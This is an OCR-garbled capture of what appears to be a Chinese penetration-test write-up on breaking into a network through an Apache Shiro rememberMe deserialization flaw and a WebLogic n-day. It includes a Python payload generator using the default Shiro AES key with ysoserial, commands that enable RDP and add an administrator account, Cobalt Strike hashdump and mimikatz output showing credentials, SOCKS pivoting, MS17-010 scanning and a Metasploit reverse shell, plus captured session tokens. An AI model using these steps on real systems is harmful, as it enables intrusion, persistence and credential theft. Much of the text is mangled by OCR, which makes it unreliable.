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SKELANAIBR —XShirokRFIMHKBENF A, #mETweblogic-Nday#E AT
WM KRS 2, RXAMIBBENLEREE,

ZIBREEMN, SERXRAREFILENFE, BRONBMETHE, RIL—SFAT
ShiroBMH4 2, EFRNNMAEEEABE.,

. @® SHE — -zsh — 80x24

B3BEES5B59BE1CCDF395AA5DD ' }

http://MTIzNDU2Nzg5MGFiY2R1Zg ., weer. .dnslog.cn

{'agc_uid': '70086000320816752', 'x-country': 'CN', 'x-hd-grey': '@', 'authInfo'
WU\ "expiretime\\":\\"20191127T041656Z\\",\\"rtCiphertext\\":\\"jfmBgqo+DUa
L1FgiC9y3gegknrMHaEWYvpb@StDgTT1bbAVFC+Mn43+VbqfTs5Ehtt7HLCaEFSoDZVFj7zN/rGzBal+
PQw3U+xKPAgVqyBJT+GB80Ezal41N1@xGgYclifleHv5HIP7qzc/qal5wiF76jsh5GEIUZ+pixhCIh4GN
3i7whckxB9MrVQRxg9KRIN\" ,\\"createtime\\ " :\\"20191127T031656Z\\",\\"accesstoken)\
\":\\"CF3d+LiGY25kMyWy7Z9xHWxKc6HYdsyQfCQViLWhigPbSyx3mC8DZAfuf8NzKY2FvS@975yaNqg
MjNfhaoyT/jra/f9ed+wC1G2VM1C23Q/IMydyh@7rYBA==\\",\\"siteID\\":\\"1A\\", \\"x—-uid\
\":\\"70086000320816752\\"}\\"', 'agc_team_id': '70086000320816752', 'agc_team_s
iteId': '1', 'x-userType': '1l', 'agc_authInfo': '%7B%22expiretime%22%3A%223600%2
2%2C%22rtCiphertext%22%3A%22security%3A8B44308AD8F173D33775BF3D17CCF3CO%3A261EBL
FOBCY3C24DD57EBBCCAGLLY5F4DBAF1F3F9ABCBFDALB63CCBDBY17669BFCH48F338F9F8DB1O11FAAB
7CBC32B6B51EF014248AC4262EE12DF9F8FD39916180FD115F378D8BDC5AFED3894CF5B5BDCY5A325
857A44FEAEO97EBB74EDE9DS543DEBLEB7AF45204D808D74F3C354A8E943DFCADLED232DEODSABFFL
76AD46559B%22%2C%22accesstoken%22%3A%22CF3eCQXLQ1I3sMggbA19VMEGIApFpbd8hpWOSI 4N
BGmRM2dqtIoJl3eGRb2ZKEAmquayyZLnwp9MmgX%2FzNPmmpcFI%2BkrEQOIU7%2FgPA8gQEJ]228mnN%22
%2C%22s1teID%22%3A%221%22%2C%22uid%22%3A%2270086000320816752%22%2C%22csrfToken%2
2%3A%228E1648F4AL449409551F36171A6EER3CF870591D013C49AB65OD1IA39F89939D778585CEDFB
2691AFAF8BB34AF373308325B52C17650C299C401B8547BAFDOAT3144E9BEEBIDFFB901D26A2ABF9
S58FA9F494B6B76FFAB7873E2414C69A%22%7D"', 'JSESSIONID': '3D28F2369CFCYDABBAOEESAAF
D8326D4', 'x-uid': '70086000320816752', 'csrfToken': 'DC5B6B903FB3915CA963CA7142
B3BEESB59BE1CCDF395AA5DD ' }

i
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Get SubDomain Refresh Record

, L _.Wm 5|og.cn
DNS Query Record IP Address
kPH+blxk5D2deZilxcaaaA., ...~ ....nslog.cn =

kPH+blxk5D2deZilxcaaaAy,....m.dnslog.cn JE. L

—UHMEXLNRRLE, THREABRRANBER—1F, TEHDEREMRShirok 5
LA, #iTR#Eshell, RIMBRSHFWR, DRFRBEHL, KB —FshellFF, X
TEBRE—MRORER.

id=0(root) gid=0(root) groups=0(root)
rootE ==& uW=l-"--3a /1% {fconfig
fconfig
tho Link encap:Ethernet HWaddr 00:16:3E:10:32:E3
I o B B = e ... ... .me.m_Em_mzn"
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
X pac :2773307470 errors:0 dropped.u overruns:0 frame:0
‘ cke -:“4 3902719 errors:0 dropped:0 overruns:0 carrier:0
11151nn1.0 txqueuelen: 1000
{ bytes:510277046265 (475.2 GiB) TX bytes:365188664041 (340.1 G1iH

LLHF encap: Ethernet HWaddr 00:16:3E:10:31:F1

o .. . N ECRE = m -
UP BROADCAST PHNNIHG MULTICAST MTU:1500 Metric:1

X p1cbp+% 390&92b5a185 errors.u dropppd @ overruns: U framw,@

MEHNZRKE, 25 —TwebshellEE, MI—TFTNRN%ERE, XZARAKR#EE XY
shelli 2 TME, WER—EFEIR
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RAEZMEE: RErememberMeBJAESIIZZIAME, LiBShirogHAREEHE =SS
BREINRE.

BAFIETM U5 {ER T Shiro?

ShirokRFIftRAFEEFEJavaFA ANNEERFR, HREREMNL—TRAHR, IRSH
BARG{ERJavaHF &, JUMRE RN, WNE2EFErememberMefric, 8K
ke,

fECookieH B HrememberMe=deleteMe, EHEMEL B EEEFEErememberMe
Fric, MREFE, EXHERBAShirolEZRHFATHNINESNRIEZES ., BBM eI AERTE
89 75 35 M R A .

Fequest Response
Raw | Params | Headers | Hex Iltaw Headers Ing HTMLIR!nder]
iy SEIEEY HTTER/1.1 & HTTP/1.1 200 OK
[E-2 3 .- - Server: Apache-Coyote/fl.1
whe-Control: max-age=0 PIiP: CP="CURa ADMa DEVa PSARo PSDo OUR BUS UNI PUR INT DEM
igrade-Insecure-Requests: 1 STA PRE COM NAV OTC NOI DSP COR™
ier-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_15_4) Set-Cookie: rememberMe=deleteMa; Path=/; Max-Age=0;
pleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Expires=Mon, _u=-cm, AT
vfaris/savT. 36 Set-Cockie: webfinal.session.errerCount=0;path=/;HTTPOnly;
cept: Set-Cookie: rememberMesdeleteMe; Pathe/; Max-Age=0;
sxt/html, application/xhtml+xml, application/xml;q=0.9%, image/webp, image/ap Expires=mon, et s ...
je*/*5;g=0.8,application/signed-exchange;v=b3;g=0.9 Set-Cookie: VALIDATE SESSION_COOKIE_=""; Expires=Thu,
:cept-Encoding: gzip, deflate 01-Jan-1970 00:00:10 GMT; HttpOnly
:cept-Language: zh-CH,zh;g=0.% expires: Thu, 01 Jan 1970 00:00:00 GHMT
wokie: rememberMe=11;| ebfinal.session.errorCount=0; " Cache-Contrel: no-cache
rsp=3DA40EEADY JEISODTICOTSSAEOEDS G5B pragma: no=cache
mnnection: close sessionstatus: timeout
Set-Cookie: tysp=FAlO0G7E8SARFEEDOGSFD3IZ0DACAAADICS; Pathe/;
HetpOnly
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Harirs Armant Brandine

ERSEBHABE: JRMP RS

java —-cp ysoserial-master—-SNAPSHOT.jar ysoserial.exploit.JRMPListener 10!

HITHNSHLEERE—T: XEGLFEHIT—Tbaseb4Eig:
http://www.jackson-t.ca/runtime-exec-payloads.html

Remenberme4 F= B 7 :

import uuid
import base64
import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command) :

popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-

https://mp.weixin.qq.com/s/Qt43qq0zP_xideBSV86JoA 5/20
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BS = AES.block_size

lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).ent
base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="")

pad

key
iv = uuid.uuid4().bytes

AES.new(key, AES.MODE_CBC, iv)
pad(popen.stdout.read())

encryptor
file_body

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_bo«

return base64_ciphertext

if __name__ == '_main__"':
payload = encode_rememberme(sys.argv([1])

print "rememberMe={0}".format(payload.decode())

%3 : 1@ B B % python Shiro_rce.py ip:port, H &ip M portk +t & B &b
ysoserial IRMPHipittiit Mix OS5, ILE KN remeberme MburpiEE K& ,
vps FEEW Elshell,

I Raw I Params | Headers | Hex Raw | Headers | Hex | HTML Ilhnder ]

3ET AR _- HTTP/1.1 HTTP/1.1 200 OK

dost: .00 "H TH E N : Server: Apache-Coyote/1.1
sache=Control: max-age=0 P3IF: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM
Jpgrade=Insecure=-Requests: 1 STA PRE COM HAV OTC HOI DSP COR™
Jser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10_15_4) Set-Cookie: tysp=6CORMGCZAGSCBCEGF6S49F640CFSF196; Paths=/;
LppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 HttpOnly
Safari/537.36 Set-Cookie: rememberMe=deleteMe: th=/; Max-Age=0;
hecept: Expires=Mon, . L m ) L.
text/html,application/xhtml+xml,,application/xml;g=0.9, image /webp, image/ap Set=Cookie: webfinal.session.errorCount=0;path=/;HTTPORLlY;
ag,*/*;gq=0.8,application/signed-exchange;v=b3;g=0.9 Set-Coockie: rememberMe=deleteMe; Path=/; Max-Age=0;
nccept-Enceding: gzip, deflate Expires=Mon, w m W = T
hoccept-Language: zh-CH,zh;q=0.9 Set-Cookie: _VALIDATE_SESSION_COOKIE =""; Expires=Thu,
cookie: | 01-7an=1970 00:00:10 GMT; HttpOnly
rememberMes{fmBggo+DUall F=* "y igeqknrMHAaEWY vpb0StDgTT1bbAVFC+Mnd 3+VbgfTas expires: Thu, 01 Jan 1970 00:00:00 GMT
EhttTHLCa. ~ ceaZBAUTEYr O . - o T Gg¥clifleHwSH Cache-Control: no-cache
IPTqze/qalSwiF 76 ishSGEIVZ+pixhCIh4GN3IiTwhekxBINEVORXgIKRT ;| pragma: no-cache
Zonnection: close sessionstatus: timeout

Content=Type: text/html;charset=UTF-8§

Content-Language: zh-CN

Vary: Accept-Encoding

Date: Tue, 19 May 2020 0%:37:31 GMT

2. AMEE

BRTREHBEHME, EREAEAANAN, NHAONET#HTHAHE, KAWEBRSE
%2, BRERBREMWEBNA TF, REFRWMRS[NR, Z2EHMNE.

~77
)

BEEAEE - TMIERSER TweblogicHE#H, FIFcve-2019-27253R I EI RS
5 PR
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law Params Headers Hex Raw Headers Hex Render

EELIREADEEGNR, #Hipconfig RMEZ—ENMNEHNNZE, EEFRAEEA,
SEEEEHRGEE. URNOPATFEREENLT, —ZXsEwMP—AMI. X, BHAEE
EELEMNEERHE,

Tf THTT- IPUB Jf - : feB8B::381d:4bhaB:7?b:3accx14

1Pu4ﬂﬂt e 1 B
g : 255_.255_.255.9

LA pliERRES ARHhiERE:
1%#¢¢$‘Eﬂn DNS Hi - - e s - - = localdomain
tilmtz; IPub ﬂ; e e . . . : fe8P::217b:ec29:fPe4:54adx11
IPU4 +1t¢ e e . ..oz 192 "
' : 255.255.255.9

41 IEE 25 isatap.{84662757-6490-497B-AF25-5@5CF2ACSF1A} :

fﬁﬁﬂ%ﬁ

fﬁﬁﬂﬁﬁ

localdomain

DEBEBEAZRWINdowsEHEMAKEE—_TEREEHAEBETZERH, ETAMTALAEMNEE
ELERARE? BTALNAITUAEEHRAXGEHETUMRENSERE, BLER
netstat —ano | find 3389 4B E— TR EHEBZREEEATE
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=netstat -ano | find

ET7T—TRIERERNE, BRRERNZEETBE £ H a8 € REG ADD
HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v

fDenyTSConnections /t REG_DWORD /d 00000000 /f #{THBZESEME.

BERNAMEStest 1 MAEERA:

net localgroup administrators test1 /add

ZAMI), KNEAEIANEHXERLETIHEREIESR
JE, THRFEERCEEEEE, TEEOLEE, EEAF

EREHHEITEEER, RUE
BREBERG, 283 7=
.

m‘—\-&-
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1) AR S RS ST

T ! v~ I

2) miEiTENEXH
3) fERI4E EiniRit AR

B HET . EERINST BEERITETE.

i B8H(H) Lol

Eifﬁ.\iﬁlﬁ. EE
EEBRBHIX-SZREE, THIFANANE ERIRSEAMRES-HREECH
EiEEACS

fh A& !

HEEATZREESE, FEEBEIwebshell Ri#Eshel IF|HIMcsRE 2R, RIHLE%.

https://mp.weixin.qq.com/s/Qt43qq0zP_xideBSV86JoA 9/20



2020/7/27 - YR Shiro ) 7514k 5| 2 B 34578 e

https://mp.weixin.qq.com/s/Qt43qq0zP_xideBSV86JoA

Cobalt Strike
Cobalt Strike View Attacks Reporting Help Payload Generator
OE N M=¢ 8:fU 9ebs Falo : .
user note pid
n I ™ R

EventLog X

ttttkkk
nitial beacon from Administrate

MAUNRSSHELL T, HMNMETE
o Z e,

REBWEE-—TEAANBR, BREW

2 1 Wlm{nu_.\l-&m

2.1.1 ipconfig /all
fkilliERCEE isatap.{ECS7C4EB-763E-4000-9CDE-4D7FF15DF74C) :

ft ISATAP Adapter
0-B6-00-00-00-E6

kil :ER B isatap.{560

WEE . . . ... Lo 1 BN
EENED ons Fl
it

ft ISATAP Adapter
00-80-00-00-00-E0

DHCP ERA
BUNEREESH

2.1.2 Z RS M EY

CSH®&m<LhashdumpkiM— FA&Hlhash, MINFESE, BEEmimikatz —3FBEX

R ME,
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beacon> hashdump

[*] Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes

[+1 received password hashes
inistrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfebd16ae031b73c59d7eBcO80ch: :
5 ad3b435b5 140 Annnad2hadEhET A0 dne ;3] (d6C TeBd16aed31b73c¢59d7e0cOBIch: ;

L feng01:1000: a. 3b51404ee:707dd431753c6aae27f3c78%e340¢235: 1 ¢

te .001:aad3b435b51404eeaad3ba35b51404ee seeb005a4c471:::

[60060003] Primary
* Username : Administrator
* Domain
LM erdivzovdaabff342c8ddavl2686cbcag
* NTLM 707dd431753c6aae27f3c789e340¢235
* SHA1 c17b815c0e706T3ee7cBB88T06e2685T40891228f
tspkg :
* Username B ator
* Domain GO
* Password : lga@ws#ed
wdigest :
* llsername “istrator
how Applications
* Password : lga@ws#ed
kerberos :
* Username *“ministrator
* Domain .
* Password : lga@ws#ed
Ssp
credman :

B XX BB IR ER AL TN, £ 3proxyFMiproxy\socks, BEI—"Socks5\httpfLIEBRSS
22 Ykm{EAproxifierfiC IR,
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Name

Port

Type

— UK Shiro & JFHILT I A B FE

118.8 66 SOCKS5
6.2F * SOCKS4 T
m sl m - u SOCKS5
H225E B {1 SOCKS4 Edit...
N 00m ( SOCKS5 R
m 0.0y m SOCKS5 ekl
0.0 SOCKS5
m 252 g o SOCKS4
2524 ol SOCKS4
1"? 157 rl").u'l CSNrKkcs
Drag and Drop a proxy server frdm the list to add it into a chain.
VYNe, I =
127.0.0.1:10086
1 10.224.153.240:45232 Create
“m
= Delete
1028, (NN, .
104 R_ AW
“WToar -

AirEERE, FRBRBOSKETIREH#HITSMBIHINIER, RIWEINZERSH.

~550% 5%

(7S [ Teiehf BE [ w0 [ PR ) [ [ EREe |
1 1 . SME 445 administrator — 279
2 o i SME 445 admini strator S 280
3 < SMB 445 administrator WaaLEL v LN 332
4 i SHE 445 = m o P 217
1 1 SHE 445 administrator ——ma vt 25
2 1 SME 445 administrator WA LEL VL EW 203
3 1 SMEB 445 admini strator 1qs 31
4 1 SME 445 administrator 1 q‘ 43
5 1 SMEB 445 . 104
5] 1 SNB 445 administrator 435
T He 445 administrator 1qs 149

MREZXRSOLSHERSHR, RUEP—ENETHA, BRSEshel| RFEREEFCS

oo

R525, BEINEESEHITHE.
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EveENtLOg X | LiIsteners X | beacon d

ac .
& 2 ' GO1
B 19.
M 192 - -T -H
AN A W
1921 "OP-\ 3
192,

2.1.3 EfifgE
EFRA®S net view TN TR EWNip.

beacon> net view

[*] Tasked beacon to run net view

[+] host called home, sent: 183992 bytes
[+] received output

List of hosts:

[+] received output
Server Name IP Addres: Platform Version Type Comment

192.16¢
192.166

2.1.4 EEREHAAPEEF

H{EFH shell net user administrator /domain kKEEISAFPESEEYRA,

https://mp.weixin.qq.com/s/Qt43qq0zP_xideBSV86JoA 13/20
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beacon> shell net user administrator /domain

[*] Tasked beacon to run: net user administrator /domain
[+] host called home, sent: 61 bytes

[+] receiwr

R HISRALE,

Administrator

EET WAL OR) AP

ER/HXALE 000 (REKMIAE)
Il =1 Yes
P ZIHE MR

aggressor-Aggressor
RN
AP LA E =

B SLIFRY B R /A ALl

B RE R *Administrators

2BERR *Enterprise Admins *Schema Admins
*Domain Users *Domain Admins
*Group Policy Creator

S AL AL,
2.1.5 &g E &

¥ E{F H shell net group "domain admins /domain" &

beacon> shell net group "domain admins" /domain

[*] Tasked beacon to run: net group "domain admins" /domain
[+] host called home, sent: 64 bytes

[+] receiver

XS R PRI RIS AL TR,

B> Domain Admins
pES BENREER

Administrator
& IhFErL.

2.1.6 H#ms17_010

MEZAERRERE, FEZAERTEAMNKIAEMST7_010XXFHIRE AN
IR, Afh—K., SEET-—THFELEEXR, WHURERERENZELZSE,

https://mp.weixin.qq.com/s/Qt43qq0zP_xideBSV86JoA
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FHA&<: Ladon ip/24 MS17010

beacon> Ladon 192.1 I MS17010
[+] host called home 956515 bytes
[+] received output

Ladon f 4

Star’ '5/14 15:52:37

192, /24

JIGET

192,16 - is valid CIDR

IPCounu
Scan Start: 5:52:37

[+]1 rec JT

192, 16! MS17-016 501 SP 1]
192.16 MS17-81° ]

192.16: MS17-8 . 55 SP 1]

[+] received output

OonlinePC:3
Cidr Scan Finished!

RERRFEZTAFEMSI7_010, HRIFAMLELTF, EXMKRER, REEREKAN
W4, TREFRNSHEBSARM,

EBFEMH4, ERMNEFEEFFAMsFEME—IERIE.

3. msf&csE Fig iz
3.1 msf&csBtEn

XEIREMRAmMsTRBmMs17_010R BN ABRRETHA. FANEERMSFRIEER B4R
MR E.

3.1.1 CSEE &
BERBINEECSERI M REMBE:

gitid
socks 1090

https://mp.weixin.qq.com/s/Qt43qq0zP_xideBSV86JoA 15/20
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beacon> getuid
[*] Tasked beacon to get userid
[+] host called home. sent: 8 bytes

[*] You are itor (admin)
beacon> socks 1696

[+] host called home, sent: 16 bytes
[+] started SOCKS4a server on: 1098
[STUl] Administrator */2932 (x064)

view==>proxy pivots==>%5 fll#th it :

Cobalt Strike View Attacks Reporting Help Payloa

B O 0 applications | PG % w B E
external| Credentials internal

Downloads
Event Log

Keystrokes

Proxy Pivots

Screenshots

Script Console
Targets

Web Log
Command Log

- -

EventLog X | Scripts X | Beacon 19 aueuss

https://mp.weixin.qq.com/s/Qt43qq0zP_xideBSV86JoA 16/20
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Tunnel via SOCKS oGO

Use this command in the Metasploit Framework to tunnel
exploits and auxiliary modules through this Beacon.
Use unsetqg Proxies tn stan soemmaling through Beacon.

3.1.2 msfie &

BEREmsTREHFATLAN,

11090

msf5 exploit( ) > set payload windows/x64/meterpreter/reverse tcp
payload => windows/x64/meterpreter/reverse tcp

msf5 exploitl ) = set lhos

lhost == 19

msfts exploit( ) = show options

FRINEIEIms17_0108exp EE FHIZENIR

i 4 1f=
meterpreter > shell whoami
Process 3644 created.

Channel 1 created.
Microsoft Windows [®i% 6.1.7601]

EGGGE

https://mp.weixin.qq.com/s/Qt43qq0zP_xideBSV86JoA 17/20
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